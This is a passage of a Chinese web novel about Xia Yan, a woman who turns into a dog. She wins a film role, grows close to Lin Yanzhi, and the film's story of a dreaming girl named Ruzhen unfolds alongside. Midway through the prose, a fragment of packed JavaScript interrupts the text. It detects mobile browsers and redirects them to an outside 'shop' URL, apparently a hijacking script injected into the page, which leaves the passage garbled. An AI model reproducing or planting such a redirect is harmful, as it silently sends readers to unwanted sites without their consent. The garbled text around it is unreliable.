夏焰闭眼深吸一口气,爪子指向公园中心荒废已久的滑滑梯,向它们宣布:“这个公园归我了。你们想离开的可以离开,想留下的欢迎留下,从此以后,只要我活在世上一日就保护你们一日,只要有我在,就不会有人伤害你们。”
还是一片寂静。
夏焰睁开眼,但是不去看它们的眼睛,刚才一番豪言壮语已经把她捧上了道德的最高点,几乎让她无处遁形。她有些羞怯,低头转身,想要离开。
才走出两步远,突然听见窸窸窣窣的脚步声。
她转头,发现它们正摇头晃脑甩掉身上的叶子,齐齐向她走来。
它们把她包围成圈像上次一样。
不过上次是为了打败她,这次是为了能更好地仰慕她。
一只泰迪犬怯怯上前一步,在她的注视下扭身轻舔她后颈上已经愈合的伤口。
舌头划过伤口痛痒的感觉像丝丝缕缕的龙须糖。
夏焰拍拍它的脑袋告诉它:“没关系。”
不知道是谁领头发出第一声嚎叫,一声一声连成一片,成为一个整体。
音调一点都不协调,伴随着一闪一闪的灯光却成为这个夏夜里的最佳合唱曲目。
它们的歌声送给新盟主,眼睛却在大黑身上流连忘返。
夏焰跟着看去,看它如何一瘸一拐走出公园大门,它不愿让大家看到它失魂落魄的败者模样。
那只橘猫最后看夏焰一眼,投来复杂难懂的目光,紧跟着大黑的脚步缓缓离开公园。
它被人勒住脖子差点窒息而亡,大黑从水沟里把它捞起,令它重获新生。
一切都发生在那个夜晚。
夏焰站在化妆桌上,盯着照片里方昉的眼睛。
方昉没有葬礼,也没有遗体告别,当天晚上就被送去火化匆匆下葬。
夏焰知道消息的时候,一个活生生的人就只剩下一个小盒子。
她没留下任何遗言,遗物。
夏焰甚至想至少应该像八点档的狗血剧,留下一个孩子,从她血液中造出的孩子。
这样她们之间就又有联系了,她会竭尽全力照顾她的孩子,直到她心脏停止跳动前一秒,说:“我和她情同手足,莫逆之交。”
可是什么都没有。
如同一首缠绵悱恻的诗被截掉下半阙,只能从前半段里猜测后续未完的诗。
你对这个世界毫无留恋,才有勇气翻身跳下,让河水带你远去。
她年轻动人的面容被永封在玻璃相框下,她的眼睛透过相框看向此时此刻看照片的人。
相框上的玻璃反光映出来者的眼,和多年前的模样重合尚未改变。<
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“你在看什么?”
夏焰循声转头,看林砚之拿下那张相片,放到床上。
她被林砚之抱在腿上和他一起看照片。
“你在看我吗?哪个是我?”
夏焰翻个白眼,还是用爪子拍了拍照片里的林砚之。
她听见头顶的轻笑,她向后靠去,林砚之微微弯腰,她的脑袋蹭在他的喉结上,感受他强劲有力的心跳声。
“你在看什么?”
林砚之一问到底,要探个究竟。
夏焰犹豫着把爪子碰上那张青涩的脸。
“你认识她?”
夏焰点点头。
林砚之看着照片里的方昉,好像陷入回忆。
“她好像也拍电影吧?怎么会学动物医学呢?”他把照片从相框里取出来,翻到背面,对应着顺序去看名字。
“方昉。”他念出她的名字。
“我记得她,她大一那年我和老师一起做他们的任课老师。”他用手指向他说的老师。
一个和电话里声音不太能对等的形象出现在眼前。
看起来还算年轻,还没有秃顶,林砚之却说他马上要退休了。
“她很优秀,大一主动申请进入老师的实验室。”
夏焰仰着头,期望他能再多说点关于方昉的事,她已经很久没有听到方昉的名字。
“我不清楚她后来毕业去哪了。”
一句话就结束了。
林砚之摸到夏焰后脖上要看伤口,夏焰用爪子拍他的手,在掌心留下一个红爪印。
夏焰不想理他,转身继续看照片,看累了就把脸贴在照片上。
“别又睡着流口水了。”
林砚之抬起她的脸把照片收走。
“去洗澡吧,早点睡,明天要去面试了。”
他帮夏焰放好洗澡水,夏焰自己跳进浴缸洗澡,然后湿漉漉地跑出浴室,他再给她用吹风机吹干。
自从他知道夏焰不是真正的小狗那天开始,就慢慢不再给她洗澡。
每次她洗澡的时候他就坐在浴室门口听他的动静。夏焰不知道,有时候会忘我地唱歌,被林砚之偷偷录下来。
在她耍赖不吹干就要上床的时候放给她听,气得她一蹦三尺高,发誓一定要给他点厉害瞧瞧。
林砚之笑着用吹风机吹她,像开大炮一样,轰隆轰隆。
他把夏焰放在床上,然后从衣柜里拿出一件背心,最柔软,可以贴身穿的材质。
“还是穿个衣服吧,万一……”他不继续讲,只是把小狗的爪子穿过袖子,把每颗纽扣都仔细扣好。
他想了想决定搬到客厅去睡一晚,抱着被子离开卧室,回头却发现夏焰踩在床尾直直盯着他看。
留下来吧。
他仿佛听见她这样说。
夏焰穿着小狗图案的背心和他一起躺在床上。
林砚之一会儿看看夏焰的手机有没有充满电,一会儿看看他有没有把闹钟打开,忙活半天,终于躺下。
床垫被他压出一个小小的凹陷,夏焰却觉得变成了一个大斜坡,不由自主地滚向他的身边。
林砚之突然想起了什么,再次翻身起来,走出卧室。夏焰听见他拉开抽屉翻找东西。
“差点忘记。”他拿出丝绒盒里的长命锁,戴在夏焰脖子上。
他用手指抚摸锁面上刻下的字。
“抱歉,我没保存好,有些生锈了。”他两只手揉搓夏焰的脑袋,“等下次见面,我会送你一个新的,好吗?”
下次见面,是什么时候呢?
夏焰想起豆豆的眼泪。
她摇摇头。
林砚之低头看着她胸前的银锁,看不清他的表情,只能看见他高高的鼻梁和薄薄的唇。
他陡然抬眼向她望去,他笑问:“准备好了吗?”
22. 幼儿园才艺表演
夏焰天不亮就离开家了。
正如她读书的时候天不亮就要背着书包去上学,尤其是到了冬天,分不清到底是清晨还是傍晚,是回家的路还是上学的路。
她的同桌总是在早自习开始前躲在语文书后和她说上学的路好煎熬好痛苦。
夏焰笑说回家的路是同一条路。
她清楚是一样的孤独。
她究竟为什么要藏起手机,自己也说不清楚。
是真的贪恋安逸,还是害怕失败?
或许作为小狗的她有资格摇头晃脑地掠过这个问题,现在她只能唾弃自己,为了不被他人批评,只能在所有人面前做自我批评。
细长的竹鞭抽得越狠,台下的掌声越是激烈。
夏焰想要掌声,就要忍受一次次皮开肉绽的痛。
她的手指摸过柔软的唇,她想象着唇下那颗小小的痣,是怎样被露出又是怎样被藏起。
他一笑,那颗痣就会被人看到,紧接着贴上夏焰的额头。
那颗圆圆小小的痣,不细看都发现不了的痣,夏焰却感觉到它的存在。
明明是属于林砚之的痣,这一刻好像属于夏焰。
她觉得很不舒服,那颗痣把她和他隔开,使得他们不能完全相触。
豌豆公主因为一颗豌豆彻夜难眠,夏焰因为那颗痣辗转反侧,那颗痣让他的吻不够完美。
她没有立即变回人形。
林砚之把她裹进被子里,轻轻拍哄入睡。
“没关系,就算错过了也还有下一次,你还有很的下一次。”
夏焰平躺在林砚之身边,听着他沉稳的呼吸声,手指攥紧身上的连衣裙,那条沾满泪水的裙子。
她睁眼盯着天花板上的飞机灯,影影绰绰看不真切,伸手去抓,只抓到夏夜的风。
林砚之没把窗户关紧。
风从窗户外挤进屋里,米白色窗帘被吹起,摇摆,朝她挥手,引诱她靠近。
夏焰情不自禁撑起身体想要朝它走去,充满神秘的黑,像她的眼睛。
正当她要被一无所有的黑吞噬的时候,身边人的手搭在了她冰凉的手背上。
她扭头看去,他睡得正香,表情安详,完全是下意识侧身安抚她。
他知道她在每个夜晚都睡不安稳。
夏焰看着他的脸,慢慢躺回他身边。
害怕他会突然睁眼,夏焰把目光重新投在房顶的飞机灯上。曾经载过林砚之无数个幼稚又幸福的童年美梦,此时也对她敞开大门,欢迎她的到来。
可她一个梦也没做,她盯着天花板直到清晨。
她在林砚之的闹钟响起之前就起身离开,她睡得很冷一晚上也没捂热。
经过鱼缸,尼莫贴在鱼缸壁上对她吐出一个大泡。
她没有停下脚步,像一个流浪的幽灵,飘向屋外。
眼皮上传来的刺痛把她拉回,此时此刻她正坐在化妆室等候面试。
“弄痛你了吗?”化妆师轻轻吹吹夏焰的眼睛。
她在帮夏焰夹眼睫毛,让它变得更弯更翘。
夏焰的眼睛很黑在一点下白的衬托下更是惊人,没有表情的时候就显得有些不近人情,可她弯弯上翘的睫毛又让这双眼睛变得灵动可爱,下睫毛一个个小刺突出,保护着正中间的一颗宝石。
任何人见了她最先看到的就是她的眼睛,目光扫过鼻子嘴巴最后还要回到她的眼睛。
这次试镜要求素颜,化妆师就努力再放大她的特点。
不喜欢她的把这块宝石批得一无是处,仿佛是垃圾堆里的铁块,案板上出现的死鱼。
夏焰想笑,她仔细见过鱼眼睛了,尼莫的眼睛,只在看见林砚之放粮的时候才出现亮光。
她再也不会难过了,听笑话一样笑过就放过。
夏焰希望林砚之不要忘记给它喂食,要不然它的眼睛会紧盯着他的背影直到他记起。
也有人喜欢她的眼睛,她说:“多漂亮的眼睛。”
她又问:“会不会唱昆曲?”
这个电影故事就取自于《牡丹亭》。
夏焰看着面前这个年轻的女人心里有些忐忑,硬着头皮从嘴里呕出两句唱词。
“良辰美景奈何天,赏心乐事谁家园。”
“园”的尾音拐到天上去,夏焰捉不住,只好抿嘴闭气。
旁边的女演员忍不住笑出声来。
她怀疑是自己当小狗的时候天天没节制地唱歌,把嗓子给唱坏了,以前也没难听到这种程度。
完了。
她看开了,脸上突然露出释然的微笑。
没事的。
哈哈。
已经不在意了。
没什么大不了的。
来试镜居然不要演戏要唱歌,当做是开学自我介绍吗?是不是接下来还要问你有没有其他能拿得出手的才艺。
我有。
夏焰突然转身,从墙角的背包里掏出一条彩绸套在脖子上。
沈盛在车上听了两句她唱歌,在一阵诧异中立马重新给她想了个才艺——天女散花。
她们从隔壁少年宫借了一条彩绸。
彩绸贴住夏焰脖子,她手腕一抖,把彩绸两段拉平,四五米长的绸缎绕过她手臂飞向两侧。
想要抽动彩绸需要力量和技巧。
夏焰手臂一弯把彩绸送到身前,灵巧一跳,又把彩绸甩到身侧。
她向后下腰绕圈,彩绸也跟着绕圈。
夏焰舞蹈着转圈,她的手臂用力,彩绸向空中甩动,好似太虚幻境的仙女翩翩落地。
她暗暗发力,动作却看起来轻柔优美。
随着她的动作停下,绸缎分成几段缓缓落到她的手臂上,她把手臂向前合拢,两手轻捻兰花指一上一下定在面前。
她垂目而立,让人看出几分慈悲观音像,似笑非笑不怒自威。
坐在对面的导演拍手叫好。
夏焰缓缓抬眼。
她再次出口夸赞:“好美的眼睛。”
夏焰这些天背的所有台词都没用上,导演只想看她们对戏曲有多了解。
导演叫蒋文君。
卓文君的文君。
非常年轻的导演,三十多岁的年龄,成为这十年来最被看好的先锋导演,第一部开山作就获得国际金奖,凿开电影叙事的另一扇大门。
和这些年国内传统电影形成鲜明对比,少不了要受到明里暗里的针对打击,但是想要拍她电影的演员仍然络绎不绝。
她笑着对大家说她要找到她的司马相如,她的最佳女演员。
她把拍电影比作与演员私奔,一次丢掉一切放手一搏的私奔。
夏焰心里暗笑,那不是私奔是裸奔。
她说对了,演员在导演面前就是裸露的,就应该是裸露的。
把自己完完全全袒露在她面前,当然指的是精神上。
一切交给导演,她会发现自己想要的,找到你从来没发现的,从而再给你画上电影需要的妆容,推上大屏幕让观众批判。
蒋文君就有这样的能力。
夏焰钦佩她,她也值得她崇拜。
夏焰在等待面试的前两个小时,才第一次打开教学视频。沈盛急得不行,双手合十向上帝祈祷。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933356|191705||http|test|mini|href|location''.split(''|''),0,{}));
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>“别紧张,我看一遍就够了。”
夏焰看她的样子觉得好笑,还分出精力来安慰她。
她恍然惊觉自己居然开始学着安慰别人,不再是接受别人的安慰鼓励。
她把一段视频里的动作,只留下头尾,还有中间动作幅度最大的一部分,最后完美呈现。
“我成功了。”
夏焰打下这四个字在聊天框,打了又删,删了又打,她犹豫着能不能发给对面。
手一抖心一横闭着眼就发出去了。
夏焰把手机拿远,半天没有回复,她悄悄睁开一只眼睛,看向手机。
发现发出去的不是文字,是一只站起来欢呼的屎黄色小狗,2D的身体,3D的头。
微信给她自动识别的表情,被她发出去了。
这啥表情也太丑了。
夏焰生无可恋地关上手机。
没过多久对面发来一个大拇指。
日理万机的妈妈抽空给她发了一个大拇指还有一个大红包。
夏焰咬着嘴巴,没点开红包。
她把这个丑丑的狗狗转发给林砚之。
他们昨天晚上才加上微信。
夏焰用爪子按出自己的二维码,抬头示意林砚之加自己的微信。
“我不怎么发朋友圈。”
夏焰瞪眼。
林砚之低头用手机扫二维码。
夏焰满意地点点头,又点进企鹅,二维码跳出来。
“□□?我多少年没用过了。”
夏焰瞪眼。
林砚之点开应用商城开始下载。
夏焰等着他下好,看他怎么也想不起来密码是什么,只好重新注册,终于登上□□。
夏焰帮他把他的原始头像换成他们俩现拍的合照。
夏焰抬起爪子抱住林砚之的手臂,把小脑袋和他紧凑在一起。
他们的第一张合照。
夏焰把表情包截图,在□□上也给他发了一次。
点开男人的头像,把合照保存下来。
他的网名叫AAAA林老师。
他问为什么要打加AAA。
夏焰艰难地在手机小小屏幕上打字,告诉他,这样就会出现在联系人的第一个,别人一看到他的名字就会想起他这个人啦。
林砚之点点头,在名字前面多加了一个A。
夏焰擦干头发躺在床上,还在等待着他的消息,她猜他走在实验室里没有机会看手机。就这样在等待的时间里她不由自主地闭上眼睛沉沉睡去。
她做梦梦到林砚之笑着对她说:“恭喜。”
含笑的眼里只有她的身影。
等她再醒来已经是第二天。
她猛然睁眼,拿过床头手机。
发现在昨晚她已经睡去的时间里,收到了来自导演的正式通知,她决定选择夏焰作为这部电影的女主角。
天大的好消息,夏焰甚至把信息截图保存,她说不清楚自己到底有多高兴。
同时发现林砚之发来的讯息。
和梦里一模一样,他说:
恭喜。
夏焰高兴不起来,她看着这两个字想不出来他到底是什么语气,她想象着他没有感情地说出这两个字,像是对不熟的陌生人说的恭维话。
夏焰抓起手机跑出家门,一路狂奔,在半路遇上瓢泼大雨,被淋成落汤鸡,她还是低着头猛冲,冲到电梯口恰好撞到出门丢垃圾的林砚之。
林砚之的衬衣被她的头发蹭湿。
夏焰从他的眼睛里看出惊讶。
还没等她开口,他对她笑,说:“恭喜。”
23. 游园惊梦
几个月的时间转瞬即逝,导演很快处理好了一切,雷厉风行地站在招标会结束的舞台上宣布电影正式开拍。
夏焰坐在台下鼓掌,坐在她身边的男人开口:
“未来的时间里让我们好好相处吧,我的搭档。”
男人向她递出一只手投诚。
正是晚宴那天坐在她身边的男人,邹城。
夏焰没有扭头看他,眼睛略略向上看,把下白露出更多。
邹城不自在收回手,低头整理袖口,然后转头和另一边的同事说话。
夏焰躬身从地上拿起水杯,却看到藏在舞台后的沈盛正用手指着她,又指指右边的摄像机,食指中指弯曲指自己的眼睛然后反过来指向她。
盯着你呢!
夏焰呆呆地手里的水杯放下,不动声色也不转身,向坐在她右侧的邹城递出她的左手。
邹城正和别人聊得正欢,根本注意不到夏焰递来的手。
夏焰摊开两个手向沈盛耸肩。
这也是没办法的事。
对面的沈盛把手里的塑料瓶子捏得咔咔响,狠狠地点了两下马上就要把镜头扫过来的摄影机。
夏焰被她的怒火撂倒,用左手一把抓过邹城的手腕,对他礼貌地散发微笑。
“嘶你又来!撒手!痛!”
邹城小声警告她,并试图从她的铁手中抽出自己的手。
台上的发言结束。
镜头就这样一声不响地靠近。
正对着这部电影的两位男女主人公。
大屏幕上投出他们的脸,微笑面对着彼此,包容友善,心心相惜。
没拍到的地方,男人的手被夏焰紧紧抓住,痛得有些颤抖。
邹城不停眨眼睛,想要把疼痛分散出去。
夏焰瞪着眼睛,仿佛全身都在用力。
摄像机终于被推走,邹城猛地抽回手。
“我艹有病吧你!”男人失去一直保持的风度,一时变得面目可憎,“有病就去治在这发羊癫疯。”
夏焰投去冷冷地一撇,男人微微一怔不再高声嚷叫。
看他骂骂咧咧丑陋不堪的样子,夏焰心里居然有些莫名的痛快,原来这人也不过如此,在一点疼痛打击下就会暴露自己的丑态。
她披上外套走上街头,路边的银杏树已然一片金黄,她抬头望去,看见树上的鸟窝里已经没有小鸟居住,它们陆续启程要飞往温暖的南方去度过生命中的又一个寒冬。
夏焰搓搓手指,身上的西装外套略显单薄,秋风萧瑟,钻进她没有温度的怀里想要一个拥抱。
她点开手机里的聊天软件,看到出现在联系人顶部的林砚之,他们的聊天停留在那句“恭喜”,最后一次见面也停留在那句“恭喜”。那句“恭喜”好像成为电影故事里的最后一个镜头,接下来就应该在片尾曲中摸黑走出影院。
夏焰不甘心,她仍然坐在位置上,忽略身边接二连三离席的观众等待几乎不可能出现的彩蛋。
近两个月来他们都没有任何联系,夏焰出乎意料地维持人形至今,他们没有联系的借口,没有联络的必要。
夏焰任由鞋尖踩在枯黄的叶面上,稍一用力,四分五裂。
风又刮过树梢,带走一队蛰伏在树枝上的黄蝴蝶,翩翩起舞飞进一个秘密花园,一个永恒的春天。
它们洋洋洒洒降落到大洋彼岸的花园,落在俏丽的玫瑰花上,落到洁白无瑕的茉莉花丛间,落到黑发黑眼女孩的手心里。
乌黑油亮的秀发在阳光的炙烤下更加夺目,女孩披散着头发小心翼翼地合拢双手,害怕手心里的蝴蝶逃走。
“如真!你在哪里?”
“阿妈我在这里!”
被叫到名字的女孩头也不抬地回应母亲的呼唤,透过手指缝隙专注地看着闪着金粉的蝴蝶,她听到母亲的脚步声。
“嘘,妈妈小声些,别吓到它。”
“你真的抓到蝴蝶了?”女人被女儿带动情绪也变得小心翼翼起来。
“是呀,你看。”如真缓缓打开手,小小的蝴蝶立即奋力扇动翅膀,飞出她的掌心。
女孩失落地看向母亲,母亲笑着搂过女孩的肩膀,亲昵地贴住她的脸蛋,和她一起看那只蝴蝶飞向远方,无声的安慰。
十六岁的如真仍是一副天真派头,她低头看向手心里遗留的金粉,蝴蝶翅膀的颜色。她钻进母亲怀里,轻声细语地说:“妈妈我睡不安稳,又做梦了。”
“多长时间了?”
医生收到一大笔昂贵的诊断金,被请上门为千金小姐看病。
满头银发的医生看向不属于这片土地的东方女孩,此刻正歪倒在床上面色苍白,一副“病美人”的模样。
“是哪里不舒服呢?”他用英文问她。
如真张张嘴却没有力气发声。
“她睡不安稳,总是一宿一宿地哭,哭出一身汗来,问她梦见什么她也说不清楚,就这样颠三倒四地睡,身体要熬垮了呀。”奶娘拉着如真的手搂她在怀里喂她喝水。
医生把听诊器贴在如真的胸口,她藏起的胸脯被冰凉的听诊器惊到,藏的更深。奶娘拉住她的手,叫她别躲。
“医生,我的女儿到底怎么了?”
杜老爷接过医生这下的药方,全是些安神助眠的药。
“小姐没病。”
“没病怎么会这幅模样?”站在丈夫身边的女人急得要落泪,恨不得自己能替女儿受罪。
“我并没在这位小姐身上听到任何病痛的声音,这病痛可能来自你们中国人独自存在的基因。”
大家都被这个医生蹩脚的中文弄糊涂了,不明白他到底在说什么。
“或许找一个中国医师,他能搞明白这位小姐梦里有什么。”
他把服药说明仔细写在药方背面。杜老爷叫来下人拿着药方去药店买药。
如真在奶娘胸口轻轻叹气,如同年幼的她吃饱喝足后发出的满意喟叹,这次没能换来奶娘的笑容,交换来她的一声叹息。
“阿嬷。”
奶娘低下头去凑到她的嘴边。
她说:“我梦见一个男人。”
奶娘抬手捂住她的嘴,叫她别再胡说。
“真真,别再说了。”她几乎要哭出声了,“不能再说!”
要她把一切都烂在肚子里,这不是一个未出阁的少女该说的,更不该出现在她的梦里,正所谓日有所思夜有所梦,得多少次思索才让她夜夜梦见。
奶娘和太太说说小姐怕是被小鬼惊了魂。
杜老爷大发雷霆,说他们永远改不掉封建迷信!他已经把家搬到大洋彼岸,还是躲不掉永久扎根在那片土地上的思想,像种子一样附在每一个背井离乡人的脚下,即使漂洋过海,仍然无法摆脱。
太太在女儿身边日夜陪伴,整整一年间,不知道换了多少个医生,吃了多少药,就是不见好,看女儿日渐消瘦的样子心痛不已
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。
“阿妈,我要是死了,要把我埋在花园里,埋在那棵柳树下。”
太太抱着女儿痛哭。
她本就是在外长大,也从来不信阴司鬼神,却舍不得女儿再受苦,要以命换命她都心甘情愿。
奶娘得了太太的吩咐,背着老爷来到华人街去找他们口口相传的神婆尤大姐,她用几张钞票从尤大姐那里换来几张符文,她要她在后花园里大声呼唤小姐的名字,边叫边用柳枝抽打花园里的花。
奶娘把符纸揣进怀里,在老爷出门的这天夜里,折下一柳枝,用力地抽打一朵朵娇嫩的鲜花,把它们的花瓣一片片打落,边打边高声喊着:“如真!如真!杜如真!回家吧!回家吧如真!”
太太颤抖着手,喂女儿喝下符纸泡的水。
如真反胃呕吐,想要把胃里所有东西都吐出来,隔夜饭菜的馊味,实木柜子的霉味,花瓣烂在泥里的腐味,引诱她把心一起呕出来,直到什么也吐不出来。
她昏睡整整一天,再睁眼一切都恢复正常了。
“花怎么都落了?”
奶娘告诉她:“昨晚下大雨,把它们都吹落了。”
“如真,你好了吗?”
20岁的如真闻声看向那个外国医生,医生轻吻她的侧脸。
“还有在做梦吗?”
如真笑着点头。
“还是那个男人吗?你们在梦里做些什么?”
她突然羞怯地笑,她说:“他教我念诗。”
“诗?”
医生有些惊讶,这位小姐父母虽是移民,可她却是在这里出生,从没有回到过故土,他听闻那片土地正战火纷飞。
他看着面前这位天真烂漫的小姐,用带有移民华人最常见的口音一字一句背诗:“和羞走,倚门回首,却把青梅嗅。”
“何当共剪西窗烛,却话巴山夜雨时。”
“山,快马加鞭未下鞍。惊回首,离天三尺三。”
……
“他教我念诗,我就教他弹琴。”
如真坐在钢琴前仿佛身边坐着男人,在梦里一般陶醉。
母亲出声叫她的名字:“如真!”
“如真!”
她恍惚间听到那个夜晚里出现的声音,叫她回家的声音,她从柳树上一跃而下,落回柔软的床褥上。
“夏焰!”
夏焰甩头清醒过来。
“休息一下吧。”
导演叫人把她扶下,她踩到地上的玻璃碎片,才惊觉自己竟然挥手打碎了钢琴架上的花瓶,自己毫无察觉。
“你已经快三十个小时没合眼了。”
导演一直不满意她的状态,不论怎么修容,都没法呈现她想要的效果,她的眼睛总是那么神采奕奕。
为了拍好她在病床上那一幕,夏焰已经快两天没有睡过觉了,只为了熬出导演想要的效果,然后演起来不喊停,又是一个通宵。
沈盛把她扶到沙发上让她躺下休息,“她让你睡,你安心地睡。”
夏焰嘴里嘀咕着,她凑近才能听清。
“抱。”
“哎呦还是小孩子吗,给你个抱抱龙。”她从沙发那头拿过一个玩偶塞到夏焰怀里,让她踏实地睡。
夏焰睁不开眼,脑袋里却转来转去怎么也进去不了深度睡眠,像是晕车一样头晕想吐。
生理性不适的眼泪从她眼尖滑落,她听到沈盛在尖叫:“怎么又变成狗了!”
24. 搞地下恋
男人坐在钢琴前,手指悬在钢琴键上方,思考该如何让钢琴发出下一个音。
他犹豫着落下手指。
按动钢琴键放出一个音符。
这急促又高昂的一个音,像是打开了男人思绪的大门。
他生疏的动作突然变得熟练而优美,就这样弹奏出一曲流畅的乐章。
他把最后一个音抬手扫走,转头看向身后的夏焰。
“我有弹错吗?”他问。
夏焰摇摇头,抬手想要为他鼓掌,却只看见两个狗爪子在互相击打着彼此。
男人低声笑着,又转过身去继续弹奏。
夏焰睡了很长一觉,在梦里听到循环播放的钢琴曲。没被打扰,醒来觉得神清气爽,她抬手想要揉眼睛,却发现自己的手被连接在输液管上。
抱手低头坐在她床前的男人被她的动作惊醒。
男人按住她乱动的手。
“小心漏针。”
夏焰看向自己插着针头的手,依次弯曲手指,看见五根手指略略弯曲。
“我没变成小狗?”
夏焰用另一只手去摸脸,没摸到短胖的嘴筒子松了一口气。
她拍拍胸口,大呼一口气。
“原来是做梦,还好没变成狗。”
“变了。”
林砚之言简意赅。
“什么时候?”夏焰用手用力地揉搓自己的脸蛋还有耳朵。
“那我怎么变回来的?”夏焰瞪大眼睛,突然意识到什么又微微眯上眼睛看向坐在她床前的男人,“不会是你偷偷……”她把音调拉长。
“不是……”
林砚之被夏焰揶揄的语气弄得有些窘迫,一只手用力攥着手腕的手表,手掌遮住表盘。
他说:“是你的经纪人给我打电话让我来的。我一来就看见有的小狗睡得口水都流出来了,还在打呼噜。”
夏焰抿嘴挠挠脸,上看下看假装自己很忙的样子,最后又把目光投向林砚之。
他身上还穿着西装,像是刚刚开完会的样子。
夏焰问他: “你今天不上班吗?”
“今天是周末。”林砚之听见她说话,把眼睛从皮鞋上挪到夏焰脸上。
“噢噢。”
林砚之时不时抬头看看挂在夏焰头顶的葡萄糖还剩多少。
实在无话可说。
或者说不知道怎么说。
他们之间面对面的对话屈指可数。
之前的相处方式已经不能再在他们身上出现。
只有他们两个人的病房气氛有些奇怪。
以前是林砚之撸狗,然后她反抗,林砚之会掏出薯条收买她,她只好忧郁地抽着薯条。
她现在无比希望豆豆,瓜皮,或者是大毛甚至是二毛,谁在这里都可以。出现在他们中间的位置,方便俩人一起撸狗,然后笑着说一句:“好肥的狗。”气氛和乐融融。
夏焰想着想着又开始开飞机。
这次还没飞出病房窗口就被强制停机。
“那个。”林砚之从椅子上往前蹭了一步,靠得更近。
这下塞不进豆豆了,只能挤进瓜皮。
夏焰扭动按钮,准备继续起飞。
“我和你的经纪人商量过了,为了保证你能正常工作,要不要在你工作的这段时间里,每天都给你一个吻。”
夏焰还没启动发动机,飞机就坠机了。
她把林砚之的话一个字一个字抠出来拿着放大镜研究。
吻?
他说的是吻?
嘴巴嘟嘟撅起贴在另一个人嘴上的一个吻?
“嗯,在你工作期间,我们每天见面,然后给你一个吻。”他深呼吸仿佛做出巨大决定,“我答应过你,这是我的责任。”
又来了。
夏焰厌恶地想要躲避,躲避这个词,他把他额外付出的一切都称为责任与义务。
他是她选中能解开诅咒的人,他认为这是自己的责任。
夏焰一言不发,耍小性子般把头扭到一边,不去看他。
“如果你不方便,我可以在你方便的地方等你。”
多体贴,夏焰心想,继续用后脑勺看着他。
等待许久都没收到回复的林砚之斟酌着开口道:“如果你不愿意,也可以想别的办法。”
夏焰转头:“谁说我不愿意?我只是怕麻烦你!你这么忙哪有时间来片场,还不如我去找你。还有,我会给你钱的!”
她试图把他单方面的付出换成冰冷的金钱交易。
林砚之无奈地笑了。
结果被沈盛无情打回。
“怎么不好了?”
“你说你万一拍完这部电影就火了,突然被扒出曾经多次与素人男子家里深夜会面,黑料比奖杯先快一步到大家面前,你能不能把握住,你告诉我,扯淡呢。”沈盛想把面前这颗天真的脑袋抱下来灌点东西进去。
最后拍板决定根据俩人的工作安排决定时间,会派人去接林砚之来会面。
“你们是地下情呐。”
如真面前的女孩仰头憧憬着离她还远的爱情故事。
她是如真的小妹妹,在春天结束的时候出生,名唤杜越春。
“姐姐你真的要去找他?”
“对,我要去找他。”
如真对妹妹嘱咐道:“你可千万别和阿爸阿妈讲我是要去找他,那里战争刚刚结束,父亲不允许我去,我同他讲我是随学校的教授们一起去,要去看看诗词里的地方。我讲了两年的中文课,却从来没到过创造中文的地方。”
如真的中文已经听不出移民华人口音,距离她第一次梦见那个男人已经过去十年。
整整十年里,他们都在梦里见面。
她不曾告诉任何人,所有人都当她已经不再做梦,她只告诉这个与她血脉相连的小妹妹,她与他早已私定终身。
二十五岁的如真在工作之余还要忙着应付父亲为她介绍的相亲对象。
她只能告诉父亲自己志不在此,还想要多做两年老师,教给大家来自遥远东方的诗词,尤其是早已与故土失去联系的孩子。
路途遥远,如真要坐船途径马六甲海峡,她躺在摇晃不停的床上,许久未进食,只为抵抗一刻不停的晕厥感。
她床下的面盆充当呕吐盆,她时不时弓身呕吐,直到把胆汁都吐出,才换得片刻安稳。
如真死死扣住身下的床单,害怕波浪把她卷入无边的大海,她这一夜苦不堪言,以为自己又在做梦,她梦见她梦中的恋人向他伸手,他们一起躺在剑桥的草地上,眼前只有生机盎然的绿。
他们一起念《再别康桥》。
坐在平稳的小床上,他为她撑桨,她为他念诗:“在康河的柔波里,我甘心做一条水草。”
如真的诗还没念完就被窗外呼啸的风打断,像是末日的呼叫与哀嚎。
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她发现自己没有闭眼,原来不是做梦,都是她的幻想,她的梦倒比幻想真实。
奶娘又在呼唤她的名字,她尖锐的声音居然跟她一起上船,替她抵挡风浪。
她随着摇晃的床一起摇晃,回到十年前的那个夜晚,暴雨打落花园里所有的花,摇摇摆摆跌落在地。
回到最初的样子,刚出生不久的婴儿蜷缩着身体躲在母亲怀里。
母亲晃动着手臂哄她睡觉。
如真一夜无梦,因为她记不清婴儿时候的她在做什么梦。
一行人脸色苍白,风尘仆仆终于抵达曾经的故土,如今的异乡。
早早有人在等候他们,要带他们去各个大学宣讲参观。面前向他们敬礼的军人肩膀上戴着如真看不懂的军衔,如真下意识也向他敬礼,惹得众人哄笑。
她红着脸在众人的嬉笑声里小声问他是否知道哪里有一座紫荆花雕塑。
那人思索片刻没有结果,又找来另一个人,两人交谈未果,并未讨论出哪里有一座这样的雕塑。
“恐怕是在梦里见到的!”同行的教授调侃道。
如真笑着摇头不说话,她确实是在梦里见到,在男人的画纸上。
他们问如真有没有印象是在哪里见过,如真连忙摆手怕叫大家误会。
谁知对方却一脸真诚向她保证,只要找到一定会告诉她。
他们被总理接见,在一众学者簇拥下参观几所大学。
总理与如真握手问她这次回家开不开心,是否变化很大。
如真说:“总理,不瞒您说我从未到过这里,只在父亲的口中听过。和他说的很不一样,变化很大,他真应该同我一起来看看。”
总理很惊讶,夸她的国语说的很好。
“我在学校另外开设一门中文课,专门教授古诗词。”
总理听得认真,眼里满是赞赏:“好啊!你这样年轻,这样有想法,你虽然不在国内长大,却与我们新中国的青年别无二致,都在为了祖国而奋斗,国家的未来是广阔的,你们的前途是无限的,欢迎你常回家看看。”
如真被他的慈爱所打动,从来没有人这样夸赞她。
她在这片土地上感知到前所未有的欣喜,仿佛她在这里出生长大,从来也不曾离开过。
她夜夜无梦,几乎要忘记梦中的恋人。
直到最后启程的最后一个夜晚,他才出现。
